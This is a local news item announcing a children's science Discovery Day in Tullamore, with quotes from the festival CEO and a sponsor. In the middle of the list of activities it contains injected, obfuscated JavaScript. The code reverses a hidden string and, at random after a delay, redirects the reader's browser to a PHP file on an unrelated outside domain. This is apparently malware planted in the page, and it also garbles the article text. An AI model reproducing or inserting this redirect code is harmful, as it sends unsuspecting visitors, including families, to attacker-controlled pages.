The annual Midlands Science Festival takes place next week and one of the most popular events on the festival calendar is ‘The Discovery Day’ which occurs this Saturday (November 12th) at the Sacred Heart School, Tullamore from 10am to 3pm. The Discovery Day, in association with Integra, offers a chance for children to experience everything from dinosaurs to Ironman in one location!

Suitable for ages five and up the day offers the chance for participants to meet reptiles up close and personal, learn about the science of Spiderman, stare up at the night’s sky in Ireland’s largest mobile planetarium, $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do hands on science with Anyone 4 Science and learn about dinosaurs with Dale Treadwell.

“We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions. The discovery day has always proven a highlight of our festival” commented Jackie Gorman, CEO Midlands Science.

“Integra is delighted to support the Discovery Day for the Midlands Science Festival this year. Getting young people engaged with science from a young age develops the curiosity and sense of discovery that is at the heart of science. Today’s young people who enjoy fun activities such as those on offer in Tullamore at the Discovery Day are the scientific pioneers of tomorrow and we are delighted to be able to encourage them” Integra’s John O’Donovan explained.

Booking for all events is now open and all details are available here. The Midlands Science Festival is supported by Science Foundation Ireland, as part of national Science Week.
